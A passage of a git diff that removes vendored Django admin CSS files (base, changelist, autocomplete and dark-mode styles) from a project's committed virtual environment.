.select2-container--admin-autocomplete[dir="rtl"] .select2-selection--multiple .select2-search--inline { - float: right; -} - -.select2-container--admin-autocomplete[dir="rtl"] .select2-selection--multiple .select2-selection__choice { - margin-left: 5px; - margin-right: auto; -} - -.select2-container--admin-autocomplete[dir="rtl"] .select2-selection--multiple .select2-selection__choice__remove { - margin-left: 2px; - margin-right: auto; -} - -.select2-container--admin-autocomplete.select2-container--focus .select2-selection--multiple { - border: solid var(--body-quiet-color) 1px; - outline: 0; -} - -.select2-container--admin-autocomplete.select2-container--disabled .select2-selection--multiple { - background-color: var(--darkened-bg); - cursor: default; -} - -.select2-container--admin-autocomplete.select2-container--disabled .select2-selection__choice__remove { - display: none; -} - -.select2-container--admin-autocomplete.select2-container--open.select2-container--above .select2-selection--single, .select2-container--admin-autocomplete.select2-container--open.select2-container--above .select2-selection--multiple { - border-top-left-radius: 0; - border-top-right-radius: 0; -} - -.select2-container--admin-autocomplete.select2-container--open.select2-container--below .select2-selection--single, .select2-container--admin-autocomplete.select2-container--open.select2-container--below .select2-selection--multiple { - border-bottom-left-radius: 0; - border-bottom-right-radius: 0; -} - -.select2-container--admin-autocomplete .select2-search--dropdown { - background: var(--darkened-bg); -} - -.select2-container--admin-autocomplete .select2-search--dropdown .select2-search__field { - background: var(--body-bg); - color: var(--body-fg); - border: 1px solid var(--border-color); - border-radius: 4px; -} - -.select2-container--admin-autocomplete .select2-search--inline .select2-search__field { - background: transparent; - color: var(--body-fg); - border: none; - outline: 0; - box-shadow: none; - -webkit-appearance: textfield; -} - -.select2-container--admin-autocomplete .select2-results > .select2-results__options { - max-height: 200px; - overflow-y: auto; - color: var(--body-fg); - background: var(--body-bg); -} - -.select2-container--admin-autocomplete .select2-results__option[role=group] { - padding: 0; -} - -.select2-container--admin-autocomplete .select2-results__option[aria-disabled=true] { - color: var(--body-quiet-color); -} - -.select2-container--admin-autocomplete .select2-results__option[aria-selected=true] { - background-color: var(--selected-bg); - color: var(--body-fg); -} - -.select2-container--admin-autocomplete .select2-results__option .select2-results__option { - padding-left: 1em; -} - -.select2-container--admin-autocomplete .select2-results__option .select2-results__option .select2-results__group { - padding-left: 0; -} - -.select2-container--admin-autocomplete .select2-results__option .select2-results__option .select2-results__option { - margin-left: -1em; - padding-left: 2em; -} - -.select2-container--admin-autocomplete .select2-results__option .select2-results__option .select2-results__option .select2-results__option { - margin-left: -2em; - padding-left: 3em; -} - -.select2-container--admin-autocomplete .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option { - margin-left: -3em; - padding-left: 4em; -} - -.select2-container--admin-autocomplete .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option { - margin-left: -4em; - padding-left: 5em; -} - -.select2-container--admin-autocomplete .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option { - margin-left: -5em; - padding-left: 6em; -} - -.select2-container--admin-autocomplete .select2-results__option--highlighted[aria-selected] { - background-color: var(--primary); - color: var(--primary-fg); -} - -.select2-container--admin-autocomplete .select2-results__group { - cursor: default; - display: block; - padding: 6px; -} - -.errors .select2-selection { - border: 1px solid var(--error-fg); -} diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/css/base.css b/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/css/base.css deleted file mode 100644 index 37910431..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/css/base.css +++ /dev/null @@ -1,1180 +0,0 @@ -/* - DJANGO Admin styles -*/ - -/* VARIABLE DEFINITIONS */ -html[data-theme="light"], -:root { - --primary: #79aec8; - --secondary: #417690; - --accent: #f5dd5d; - --primary-fg: #fff; - - --body-fg: #333; - --body-bg: #fff; - --body-quiet-color: #666; - --body-medium-color: #444; - --body-loud-color: #000; - - --header-color: #ffc; - --header-branding-color: var(--accent); - --header-bg: var(--secondary); - --header-link-color: var(--primary-fg); - - --breadcrumbs-fg: #c4dce8; - --breadcrumbs-link-fg: var(--body-bg); - --breadcrumbs-bg: #264b5d; - - --link-fg: #417893; - --link-hover-color: #036; - --link-selected-fg: var(--secondary); - - --hairline-color: #e8e8e8; - --border-color: #ccc; - - --error-fg: #ba2121; - - --message-success-bg: #dfd; - --message-warning-bg: #ffc; - --message-error-bg: #ffefef; - - --darkened-bg: #f8f8f8; /* A bit darker than --body-bg */ - --selected-bg: #e4e4e4; /* E.g. selected table cells */ - --selected-row: #ffc; - - --button-fg: #fff; - --button-bg: var(--secondary); - --button-hover-bg: #205067; - --default-button-bg: #205067; - --default-button-hover-bg: var(--secondary); - --close-button-bg: #747474; - --close-button-hover-bg: #333; - --delete-button-bg: #ba2121; - --delete-button-hover-bg: #a41515; - - --object-tools-fg: var(--button-fg); - --object-tools-bg: var(--close-button-bg); - --object-tools-hover-bg: var(--close-button-hover-bg); - - --font-family-primary: - "Segoe UI", - system-ui, - Roboto, - "Helvetica Neue", - Arial, - sans-serif, - "Apple Color Emoji", - "Segoe UI Emoji", - "Segoe UI Symbol", - "Noto Color Emoji"; - --font-family-monospace: - ui-monospace, - Menlo, - Monaco, - "Cascadia Mono", - "Segoe UI Mono", - "Roboto Mono", - "Oxygen Mono", - "Ubuntu Monospace", - "Source Code Pro", - "Fira Mono", - "Droid Sans Mono", - "Courier New", - monospace, - "Apple Color Emoji", - "Segoe UI Emoji", - "Segoe UI Symbol", - "Noto Color Emoji"; - - color-scheme: light; -} - -html, body { - height: 100%; -} - -body { - margin: 0; - padding: 0; - font-size: 0.875rem; - font-family: var(--font-family-primary); - color: var(--body-fg); - background: var(--body-bg); -} - -/* LINKS */ - -a:link, a:visited { - color: var(--link-fg); - text-decoration: none; - transition: color 0.15s, background 0.15s; -} - -a:focus, a:hover { - color: var(--link-hover-color); -} - -a:focus { - text-decoration: underline; -} - -a img { - border: none; -} - -a.section:link, a.section:visited { - color: var(--header-link-color); - text-decoration: none; -} - -a.section:focus, a.section:hover { - text-decoration: underline; -} - -/* GLOBAL DEFAULTS */ - -p, ol, ul, dl { - margin: .2em 0 .8em 0; -} - -p { - padding: 0; - line-height: 140%; -} - -h1,h2,h3,h4,h5 { - font-weight: bold; -} - -h1 { - margin: 0 0 20px; - font-weight: 300; - font-size: 1.25rem; -} - -h2 { - font-size: 1rem; - margin: 1em 0 .5em 0; -} - -h2.subhead { - font-weight: normal; - margin-top: 0; -} - -h3 { - font-size: 0.875rem; - margin: .8em 0 .3em 0; - color: var(--body-medium-color); - font-weight: bold; -} - -h4 { - font-size: 0.75rem; - margin: 1em 0 .8em 0; - padding-bottom: 3px; - color: var(--body-medium-color); -} - -h5 { - font-size: 0.625rem; - margin: 1.5em 0 .5em 0; - color: var(--body-quiet-color); - text-transform: uppercase; - letter-spacing: 1px; -} - -ul > li { - list-style-type: square; - padding: 1px 0; -} - -li ul { - margin-bottom: 0; -} - -li, dt, dd { - font-size: 0.8125rem; - line-height: 1.25rem; -} - -dt { - font-weight: bold; - margin-top: 4px; -} - -dd { - margin-left: 0; -} - -form { - margin: 0; - padding: 0; -} - -fieldset { - margin: 0; - min-width: 0; - padding: 0; - border: none; - border-top: 1px solid var(--hairline-color); -} - -details summary { - cursor: pointer; -} - -blockquote { - font-size: 0.6875rem; - color: #777; - margin-left: 2px; - padding-left: 10px; - border-left: 5px solid #ddd; -} - -code, pre { - font-family: var(--font-family-monospace); - color: var(--body-quiet-color); - font-size: 0.75rem; - overflow-x: auto; -} - -pre.literal-block { - margin: 10px; - background: var(--darkened-bg); - padding: 6px 8px; -} - -code strong { - color: #930; -} - -hr { - clear: both; - color: var(--hairline-color); - background-color: var(--hairline-color); - height: 1px; - border: none; - margin: 0; - padding: 0; - line-height: 1px; -} - -/* TEXT STYLES & MODIFIERS */ - -.small { - font-size: 0.6875rem; -} - -.mini { - font-size: 0.625rem; -} - -.help, p.help, form p.help, div.help, form div.help, div.help li { - font-size: 0.6875rem; - color: var(--body-quiet-color); -} - -div.help ul { - margin-bottom: 0; -} - -.help-tooltip { - cursor: help; -} - -p img, h1 img, h2 img, h3 img, h4 img, td img { - vertical-align: middle; -} - -.quiet, a.quiet:link, a.quiet:visited { - color: var(--body-quiet-color); - font-weight: normal; -} - -.clear { - clear: both; -} - -.nowrap { - white-space: nowrap; -} - -.hidden { - display: none !important; -} - -/* TABLES */ - -table { - border-collapse: collapse; - border-color: var(--border-color); -} - -td, th { - font-size: 0.8125rem; - line-height: 1rem; - border-bottom: 1px solid var(--hairline-color); - vertical-align: top; - padding: 8px; -} - -th { - font-weight: 500; - text-align: left; -} - -thead th, -tfoot td { - color: var(--body-quiet-color); - padding: 5px 10px; - font-size: 0.6875rem; - background: var(--body-bg); - border: none; - border-top: 1px solid var(--hairline-color); - border-bottom: 1px solid var(--hairline-color); -} - -tfoot td { - border-bottom: none; - border-top: 1px solid var(--hairline-color); -} - -thead th.required { - font-weight: bold; -} - -tr.alt { - background: var(--darkened-bg); -} - -tr:nth-child(odd), .row-form-errors { - background: var(--body-bg); -} - -tr:nth-child(even), -tr:nth-child(even) .errorlist, -tr:nth-child(odd) + .row-form-errors, -tr:nth-child(odd) + .row-form-errors .errorlist { - background: var(--darkened-bg); -} - -/* SORTABLE TABLES */ - -thead th { - padding: 5px 10px; - line-height: normal; - text-transform: uppercase; - background: var(--darkened-bg); -} - -thead th a:link, thead th a:visited { - color: var(--body-quiet-color); -} - -thead th.sorted { - background: var(--selected-bg); -} - -thead th.sorted .text { - padding-right: 42px; -} - -table thead th .text span { - padding: 8px 10px; - display: block; -} - -table thead th .text a { - display: block; - cursor: pointer; - padding: 8px 10px; -} - -table thead th .text a:focus, table thead th .text a:hover { - background: var(--selected-bg); -} - -thead th.sorted a.sortremove { - visibility: hidden; -} - -table thead th.sorted:hover a.sortremove { - visibility: visible; -} - -table thead th.sorted .sortoptions { - display: block; - padding: 9px 5px 0 5px; - float: right; - text-align: right; -} - -table thead th.sorted .sortpriority { - font-size: .8em; - min-width: 12px; - text-align: center; - vertical-align: 3px; - margin-left: 2px; - margin-right: 2px; -} - -table thead th.sorted .sortoptions a { - position: relative; - width: 14px; - height: 14px; - display: inline-block; - background: url(../img/sorting-icons.svg) 0 0 no-repeat; - background-size: 14px auto; -} - -table thead th.sorted .sortoptions a.sortremove { - background-position: 0 0; -} - -table thead th.sorted .sortoptions a.sortremove:after { - content: '\\'; - position: absolute; - top: -6px; - left: 3px; - font-weight: 200; - font-size: 1.125rem; - color: var(--body-quiet-color); -} - -table thead th.sorted .sortoptions a.sortremove:focus:after, -table thead th.sorted .sortoptions a.sortremove:hover:after { - color: var(--link-fg); -} - -table thead th.sorted .sortoptions a.sortremove:focus, -table thead th.sorted .sortoptions a.sortremove:hover { - background-position: 0 -14px; -} - -table thead th.sorted .sortoptions a.ascending { - background-position: 0 -28px; -} - -table thead th.sorted .sortoptions a.ascending:focus, -table thead th.sorted .sortoptions a.ascending:hover { - background-position: 0 -42px; -} - -table thead th.sorted .sortoptions a.descending { - top: 1px; - background-position: 0 -56px; -} - -table thead th.sorted .sortoptions a.descending:focus, -table thead th.sorted .sortoptions a.descending:hover { - background-position: 0 -70px; -} - -/* FORM DEFAULTS */ - -input, textarea, select, .form-row p, form .button { - margin: 2px 0; - padding: 2px 3px; - vertical-align: middle; - font-family: var(--font-family-primary); - font-weight: normal; - font-size: 0.8125rem; -} -.form-row div.help { - padding: 2px 3px; -} - -textarea { - vertical-align: top; -} - -/* -Minifiers remove the default (text) "type" attribute from "input" HTML tags. -Add input:not([type]) to make the CSS stylesheet work the same. -*/ -input:not([type]), input[type=text], input[type=password], input[type=email], -input[type=url], input[type=number], input[type=tel], textarea, select, -.vTextField { - border: 1px solid var(--border-color); - border-radius: 4px; - padding: 5px 6px; - margin-top: 0; - color: var(--body-fg); - background-color: var(--body-bg); -} - -/* -Minifiers remove the default (text) "type" attribute from "input" HTML tags. -Add input:not([type]) to make the CSS stylesheet work the same. -*/ -input:not([type]):focus, input[type=text]:focus, input[type=password]:focus, -input[type=email]:focus, input[type=url]:focus, input[type=number]:focus, -input[type=tel]:focus, textarea:focus, select:focus, .vTextField:focus { - border-color: var(--body-quiet-color); -} - -select { - height: 1.875rem; -} - -select[multiple] { - /* Allow HTML size attribute to override the height in the rule above. */ - height: auto; - min-height: 150px; -} - -/* FORM BUTTONS */ - -.button, input[type=submit], input[type=button], .submit-row input, a.button { - background: var(--button-bg); - padding: 10px 15px; - border: none; - border-radius: 4px; - color: var(--button-fg); - cursor: pointer; - transition: background 0.15s; -} - -a.button { - padding: 4px 5px; -} - -.button:active, input[type=submit]:active, input[type=button]:active, -.button:focus, input[type=submit]:focus, input[type=button]:focus, -.button:hover, input[type=submit]:hover, input[type=button]:hover { - background: var(--button-hover-bg); -} - -.button[disabled], input[type=submit][disabled], input[type=button][disabled] { - opacity: 0.4; -} - -.button.default, input[type=submit].default, .submit-row input.default { - border: none; - font-weight: 400; - background: var(--default-button-bg); -} - -.button.default:active, input[type=submit].default:active, -.button.default:focus, input[type=submit].default:focus, -.button.default:hover, input[type=submit].default:hover { - background: var(--default-button-hover-bg); -} - -.button[disabled].default, -input[type=submit][disabled].default, -input[type=button][disabled].default { - opacity: 0.4; -} - - -/* MODULES */ - -.module { - border: none; - margin-bottom: 30px; - background: var(--body-bg); -} - -.module p, .module ul, .module h3, .module h4, .module dl, .module pre { - padding-left: 10px; - padding-right: 10px; -} - -.module blockquote { - margin-left: 12px; -} - -.module ul, .module ol { - margin-left: 1.5em; -} - -.module h3 { - margin-top: .6em; -} - -.module h2, .module caption, .inline-group h2 { - margin: 0; - padding: 8px; - font-weight: 400; - font-size: 0.8125rem; - text-align: left; - background: var(--header-bg); - color: var(--header-link-color); -} - -.module caption, -.inline-group h2 { - font-size: 0.75rem; - letter-spacing: 0.5px; - text-transform: uppercase; -} - -.module table { - border-collapse: collapse; -} - -/* MESSAGES & ERRORS */ - -ul.messagelist { - padding: 0; - margin: 0; -} - -ul.messagelist li { - display: block; - font-weight: 400; - font-size: 0.8125rem; - padding: 10px 10px 10px 65px; - margin: 0 0 10px 0; - background: var(--message-success-bg) url(../img/icon-yes.svg) 40px 12px no-repeat; - background-size: 16px auto; - color: var(--body-fg); - word-break: break-word; -} - -ul.messagelist li.warning { - background: var(--message-warning-bg) url(../img/icon-alert.svg) 40px 14px no-repeat; - background-size: 14px auto; -} - -ul.messagelist li.error { - background: var(--message-error-bg) url(../img/icon-no.svg) 40px 12px no-repeat; - background-size: 16px auto; -} - -.errornote { - font-size: 0.875rem; - font-weight: 700; - display: block; - padding: 10px 12px; - margin: 0 0 10px 0; - color: var(--error-fg); - border: 1px solid var(--error-fg); - border-radius: 4px; - background-color: var(--body-bg); - background-position: 5px 12px; - overflow-wrap: break-word; -} - -ul.errorlist { - margin: 0 0 4px; - padding: 0; - color: var(--error-fg); - background: var(--body-bg); -} - -ul.errorlist li { - font-size: 0.8125rem; - display: block; - margin-bottom: 4px; - overflow-wrap: break-word; -} - -ul.errorlist li:first-child { - margin-top: 0; -} - -ul.errorlist li a { - color: inherit; - text-decoration: underline; -} - -td ul.errorlist { - margin: 0; - padding: 0; -} - -td ul.errorlist li { - margin: 0; -} - -.form-row.errors { - margin: 0; - border: none; - border-bottom: 1px solid var(--hairline-color); - background: none; -} - -.form-row.errors ul.errorlist li { - padding-left: 0; -} - -.errors input, .errors select, .errors textarea, -td ul.errorlist + input, td ul.errorlist + select, td ul.errorlist + textarea { - border: 1px solid var(--error-fg); -} - -.description { - font-size: 0.75rem; - padding: 5px 0 0 12px; -} - -/* BREADCRUMBS */ - -div.breadcrumbs { - background: var(--breadcrumbs-bg); - padding: 10px 40px; - border: none; - color: var(--breadcrumbs-fg); - text-align: left; -} - -div.breadcrumbs a { - color: var(--breadcrumbs-link-fg); -} - -div.breadcrumbs a:focus, div.breadcrumbs a:hover { - color: var(--breadcrumbs-fg); -} - -/* ACTION ICONS */ - -.viewlink, .inlineviewlink { - padding-left: 16px; - background: url(../img/icon-viewlink.svg) 0 1px no-repeat; -} - -.hidelink { - padding-left: 16px; - background: url(../img/icon-hidelink.svg) 0 1px no-repeat; -} - -.addlink { - padding-left: 16px; - background: url(../img/icon-addlink.svg) 0 1px no-repeat; -} - -.changelink, .inlinechangelink { - padding-left: 16px; - background: url(../img/icon-changelink.svg) 0 1px no-repeat; -} - -.deletelink { - padding-left: 16px; - background: url(../img/icon-deletelink.svg) 0 1px no-repeat; -} - -a.deletelink:link, a.deletelink:visited { - color: #CC3434; /* XXX Probably unused? */ -} - -a.deletelink:focus, a.deletelink:hover { - color: #993333; /* XXX Probably unused? */ - text-decoration: none; -} - -/* OBJECT TOOLS */ - -.object-tools { - font-size: 0.625rem; - font-weight: bold; - padding-left: 0; - float: right; - position: relative; - margin-top: -48px; -} - -.object-tools li { - display: block; - float: left; - margin-left: 5px; - height: 1rem; -} - -.object-tools a { - border-radius: 15px; -} - -.object-tools a:link, .object-tools a:visited { - display: block; - float: left; - padding: 3px 12px; - background: var(--object-tools-bg); - color: var(--object-tools-fg); - font-weight: 400; - font-size: 0.6875rem; - text-transform: uppercase; - letter-spacing: 0.5px; -} - -.object-tools a:focus, .object-tools a:hover { - background-color: var(--object-tools-hover-bg); -} - -.object-tools a:focus{ - text-decoration: none; -} - -.object-tools a.viewsitelink, .object-tools a.addlink { - background-repeat: no-repeat; - background-position: right 7px center; - padding-right: 26px; -} - -.object-tools a.viewsitelink { - background-image: url(../img/tooltag-arrowright.svg); -} - -.object-tools a.addlink { - background-image: url(../img/tooltag-add.svg); -} - -/* OBJECT HISTORY */ - -#change-history table { - width: 100%; -} - -#change-history table tbody th { - width: 16em; -} - -#change-history .paginator { - color: var(--body-quiet-color); - border-bottom: 1px solid var(--hairline-color); - background: var(--body-bg); - overflow: hidden; -} - -/* PAGE STRUCTURE */ - -#container { - position: relative; - width: 100%; - min-width: 980px; - padding: 0; - display: flex; - flex-direction: column; - height: 100%; -} - -#container > .main { - display: flex; - flex: 1 0 auto; -} - -.main > .content { - flex: 1 0; - max-width: 100%; -} - -.skip-to-content-link { - position: absolute; - top: -999px; - margin: 5px; - padding: 5px; - background: var(--body-bg); - z-index: 1; -} - -.skip-to-content-link:focus { - left: 0px; - top: 0px; -} - -#content { - padding: 20px 40px; -} - -.dashboard #content { - width: 600px; -} - -#content-main { - float: left; - width: 100%; -} - -#content-related { - float: right; - width: 260px; - position: relative; - margin-right: -300px; -} - -@media (forced-colors: active) { - #content-related { - border: 1px solid; - } -} - -/* COLUMN TYPES */ - -.colMS { - margin-right: 300px; -} - -.colSM { - margin-left: 300px; -} - -.colSM #content-related { - float: left; - margin-right: 0; - margin-left: -300px; -} - -.colSM #content-main { - float: right; -} - -.popup .colM { - width: auto; -} - -/* HEADER */ - -#header { - width: auto; - height: auto; - display: flex; - justify-content: space-between; - align-items: center; - padding: 10px 40px; - background: var(--header-bg); - color: var(--header-color); -} - -#header a:link, #header a:visited, #logout-form button { - color: var(--header-link-color); -} - -#header a:focus , #header a:hover { - text-decoration: underline; -} - -@media (forced-colors: active) { - #header { - border-bottom: 1px solid; - } -} - -#branding { - display: flex; -} - -#site-name { - padding: 0; - margin: 0; - margin-inline-end: 20px; - font-weight: 300; - font-size: 1.5rem; - color: var(--header-branding-color); -} - -#site-name a:link, #site-name a:visited { - color: var(--accent); -} - -#branding h2 { - padding: 0 10px; - font-size: 0.875rem; - margin: -8px 0 8px 0; - font-weight: normal; - color: var(--header-color); -} - -#branding a:hover { - text-decoration: none; -} - -#logout-form { - display: inline; -} - -#logout-form button { - background: none; - border: 0; - cursor: pointer; - font-family: var(--font-family-primary); -} - -#user-tools { - float: right; - margin: 0 0 0 20px; - text-align: right; -} - -#user-tools, #logout-form button{ - padding: 0; - font-weight: 300; - font-size: 0.6875rem; - letter-spacing: 0.5px; - text-transform: uppercase; -} - -#user-tools a, #logout-form button { - border-bottom: 1px solid rgba(255, 255, 255, 0.25); -} - -#user-tools a:focus, #user-tools a:hover, -#logout-form button:active, #logout-form button:hover { - text-decoration: none; - border-bottom: 0; -} - -#logout-form button:active, #logout-form button:hover { - margin-bottom: 1px; -} - -/* SIDEBAR */ - -#content-related { - background: var(--darkened-bg); -} - -#content-related .module { - background: none; -} - -#content-related h3 { - color: var(--body-quiet-color); - padding: 0 16px; - margin: 0 0 16px; -} - -#content-related h4 { - font-size: 0.8125rem; -} - -#content-related p { - padding-left: 16px; - padding-right: 16px; -} - -#content-related .actionlist { - padding: 0; - margin: 16px; -} - -#content-related .actionlist li { - line-height: 1.2; - margin-bottom: 10px; - padding-left: 18px; -} - -#content-related .module h2 { - background: none; - padding: 16px; - margin-bottom: 16px; - border-bottom: 1px solid var(--hairline-color); - font-size: 1.125rem; - color: var(--body-fg); -} - -.delete-confirmation form input[type="submit"] { - background: var(--delete-button-bg); - border-radius: 4px; - padding: 10px 15px; - color: var(--button-fg); -} - -.delete-confirmation form input[type="submit"]:active, -.delete-confirmation form input[type="submit"]:focus, -.delete-confirmation form input[type="submit"]:hover { - background: var(--delete-button-hover-bg); -} - -.delete-confirmation form .cancel-link { - display: inline-block; - vertical-align: middle; - height: 0.9375rem; - line-height: 0.9375rem; - border-radius: 4px; - padding: 10px 15px; - color: var(--button-fg); - background: var(--close-button-bg); - margin: 0 0 0 10px; -} - -.delete-confirmation form .cancel-link:active, -.delete-confirmation form .cancel-link:focus, -.delete-confirmation form .cancel-link:hover { - background: var(--close-button-hover-bg); -} - -/* POPUP */ -.popup #content { - padding: 20px; -} - -.popup #container { - min-width: 0; -} - -.popup #header { - padding: 10px 20px; -} - -/* PAGINATOR */ - -.paginator { - display: flex; - align-items: center; - gap: 4px; - font-size: 0.8125rem; - padding-top: 10px; - padding-bottom: 10px; - line-height: 22px; - margin: 0; - border-top: 1px solid var(--hairline-color); - width: 100%; - box-sizing: border-box; -} - -.paginator a:link, .paginator a:visited { - padding: 2px 6px; - background: var(--button-bg); - text-decoration: none; - color: var(--button-fg); -} - -.paginator a.showall { - border: none; - background: none; - color: var(--link-fg); -} - -.paginator a.showall:focus, .paginator a.showall:hover { - background: none; - color: var(--link-hover-color); -} - -.paginator .end { - margin-right: 6px; -} - -.paginator .this-page { - padding: 2px 6px; - font-weight: bold; - font-size: 0.8125rem; - vertical-align: top; -} - -.paginator a:focus, .paginator a:hover { - color: white; - background: var(--link-hover-color); -} - -.paginator input { - margin-left: auto; -} - -.base-svgs { - display: none; -} - -.visually-hidden { - position: absolute; - width: 1px; - height: 1px; - padding: 0; - overflow: hidden; - clip: rect(0,0,0,0); - white-space: nowrap; - border: 0; - color: var(--body-fg); - background-color: var(--body-bg); -} diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/css/changelists.css b/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/css/changelists.css deleted file mode 100644 index 005b7768..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/css/changelists.css +++ /dev/null @@ -1,343 +0,0 @@ -/* CHANGELISTS */ - -#changelist { - display: flex; - align-items: flex-start; - justify-content: space-between; -} - -#changelist .changelist-form-container { - flex: 1 1 auto; - min-width: 0; -} - -#changelist table { - width: 100%; -} - -.change-list .hiddenfields { display:none; } - -.change-list .filtered table { - border-right: none; -} - -.change-list .filtered { - min-height: 400px; -} - -.change-list .filtered .results, .change-list .filtered .paginator, -.filtered #toolbar, .filtered div.xfull { - width: auto; -} - -.change-list .filtered table tbody th { - padding-right: 1em; -} - -#changelist-form .results { - overflow-x: auto; - width: 100%; -} - -#changelist .toplinks { - border-bottom: 1px solid var(--hairline-color); -} - -#changelist .paginator { - color: var(--body-quiet-color); - border-bottom: 1px solid var(--hairline-color); - background: var(--body-bg); - overflow: hidden; -} - -/* CHANGELIST TABLES */ - -#changelist table thead th { - padding: 0; - white-space: nowrap; - vertical-align: middle; -} - -#changelist table thead th.action-checkbox-column { - width: 1.5em; - text-align: center; -} - -#changelist table tbody td.action-checkbox { - text-align: center; -} - -#changelist table tfoot { - color: var(--body-quiet-color); -} - -/* TOOLBAR */ - -#toolbar { - padding: 8px 10px; - margin-bottom: 15px; - border-top: 1px solid var(--hairline-color); - border-bottom: 1px solid var(--hairline-color); - background: var(--darkened-bg); - color: var(--body-quiet-color); -} - -#toolbar form input { - border-radius: 4px; - font-size: 0.875rem; - padding: 5px; - color: var(--body-fg); -} - -#toolbar #searchbar { - height: 1.1875rem; - border: 1px solid var(--border-color); - padding: 2px 5px; - margin: 0; - vertical-align: top; - font-size: 0.8125rem; - max-width: 100%; -} - -#toolbar #searchbar:focus { - border-color: var(--body-quiet-color); -} - -#toolbar form input[type="submit"] { - border: 1px solid var(--border-color); - font-size: 0.8125rem; - padding: 4px 8px; - margin: 0; - vertical-align: middle; - background: var(--body-bg); - box-shadow: 0 -15px 20px -10px rgba(0, 0, 0, 0.15) inset; - cursor: pointer; - color: var(--body-fg); -} - -#toolbar form input[type="submit"]:focus, -#toolbar form input[type="submit"]:hover { - border-color: var(--body-quiet-color); -} - -#changelist-search img { - vertical-align: middle; - margin-right: 4px; -} - -#changelist-search .help { - word-break: break-word; -} - -/* FILTER COLUMN */ - -#changelist-filter { - flex: 0 0 240px; - order: 1; - background: var(--darkened-bg); - border-left: none; - margin: 0 0 0 30px; -} - -@media (forced-colors: active) { - #changelist-filter { - border: 1px solid; - } -} - -#changelist-filter h2 { - font-size: 0.875rem; - text-transform: uppercase; - letter-spacing: 0.5px; - padding: 5px 15px; - margin-bottom: 12px; - border-bottom: none; -} - -#changelist-filter h3, -#changelist-filter details summary { - font-weight: 400; - padding: 0 15px; - margin-bottom: 10px; -} - -#changelist-filter details summary > * { - display: inline; -} - -#changelist-filter details > summary { - list-style-type: none; -} - -#changelist-filter details > summary::-webkit-details-marker { - display: none; -} - -#changelist-filter details > summary::before { - content: '→'; - font-weight: bold; - color: var(--link-hover-color); -} - -#changelist-filter details[open] > summary::before { - content: '↓'; -} - -#changelist-filter ul { - margin: 5px 0; - padding: 0 15px 15px; - border-bottom: 1px solid var(--hairline-color); -} - -#changelist-filter ul:last-child { - border-bottom: none; -} - -#changelist-filter li { - list-style-type: none; - margin-left: 0; - padding-left: 0; -} - -#changelist-filter a { - display: block; - color: var(--body-quiet-color); - word-break: break-word; -} - -#changelist-filter li.selected { - border-left: 5px solid var(--hairline-color); - padding-left: 10px; - margin-left: -15px; -} - -#changelist-filter li.selected a { - color: var(--link-selected-fg); -} - -#changelist-filter a:focus, #changelist-filter a:hover, -#changelist-filter li.selected a:focus, -#changelist-filter li.selected a:hover { - color: var(--link-hover-color); -} - -#changelist-filter #changelist-filter-extra-actions { - font-size: 0.8125rem; - margin-bottom: 10px; - border-bottom: 1px solid var(--hairline-color); -} - -/* DATE DRILLDOWN */ - -.change-list .toplinks { - display: flex; - padding-bottom: 5px; - flex-wrap: wrap; - gap: 3px 17px; - font-weight: bold; -} - -.change-list .toplinks a { - font-size: 0.8125rem; -} - -.change-list .toplinks .date-back { - color: var(--body-quiet-color); -} - -.change-list .toplinks .date-back:focus, -.change-list .toplinks .date-back:hover { - color: var(--link-hover-color); -} - -/* ACTIONS */ - -.filtered .actions { - border-right: none; -} - -#changelist table input { - margin: 0; - vertical-align: baseline; -} - -/* Once the :has() pseudo-class is supported by all browsers, the tr.selected - selector and the JS adding the class can be removed. */ -#changelist tbody tr.selected { - background-color: var(--selected-row); -} - -#changelist tbody tr:has(.action-select:checked) { - background-color: var(--selected-row); -} - -@media (forced-colors: active) { - #changelist tbody tr.selected { - background-color: SelectedItem; - } - #changelist tbody tr:has(.action-select:checked) { - background-color: SelectedItem; - } -} - -#changelist .actions { - padding: 10px; - background: var(--body-bg); - border-top: none; - border-bottom: none; - line-height: 1.5rem; - color: var(--body-quiet-color); - width: 100%; -} - -#changelist .actions span.all, -#changelist .actions span.action-counter, -#changelist .actions span.clear, -#changelist .actions span.question { - font-size: 0.8125rem; - margin: 0 0.5em; -} - -#changelist .actions:last-child { - border-bottom: none; -} - -#changelist .actions select { - vertical-align: top; - height: 1.5rem; - color: var(--body-fg); - border: 1px solid var(--border-color); - border-radius: 4px; - font-size: 0.875rem; - padding: 0 0 0 4px; - margin: 0; - margin-left: 10px; -} - -#changelist .actions select:focus { - border-color: var(--body-quiet-color); -} - -#changelist .actions label { - display: inline-block; - vertical-align: middle; - font-size: 0.8125rem; -} - -#changelist .actions .button { - font-size: 0.8125rem; - border: 1px solid var(--border-color); - border-radius: 4px; - background: var(--body-bg); - box-shadow: 0 -15px 20px -10px rgba(0, 0, 0, 0.15) inset; - cursor: pointer; - height: 1.5rem; - line-height: 1; - padding: 4px 8px; - margin: 0; - color: var(--body-fg); -} - -#changelist .actions .button:focus, #changelist .actions .button:hover { - border-color: var(--body-quiet-color); -} diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/css/dark_mode.css b/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/css/dark_mode.css deleted file mode 100644 index 65b58d03..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/css/dark_mode.css +++ /dev/null @@ -1,130 +0,0 @@ -@media (prefers-color-scheme: dark) { - :root { - --primary: #264b5d; - --primary-fg: #f7f7f7; - - --body-fg: #eeeeee; - --body-bg: #121212; - --body-quiet-color: #d0d0d0; - --body-medium-color: #e0e0e0; - --body-loud-color: #ffffff; - - --breadcrumbs-link-fg: #e0e0e0; - --breadcrumbs-bg: var(--primary); - - --link-fg: #81d4fa; - --link-hover-color: #4ac1f7; - --link-selected-fg: #6f94c6; - - --hairline-color: #272727; - --border-color: #353535; - - --error-fg: #e35f5f; - --message-success-bg: #006b1b; - --message-warning-bg: #583305; - --message-error-bg: #570808; - - --darkened-bg: #212121; - --selected-bg: #1b1b1b; - --selected-row: #00363a; - - --close-button-bg: #333333; - 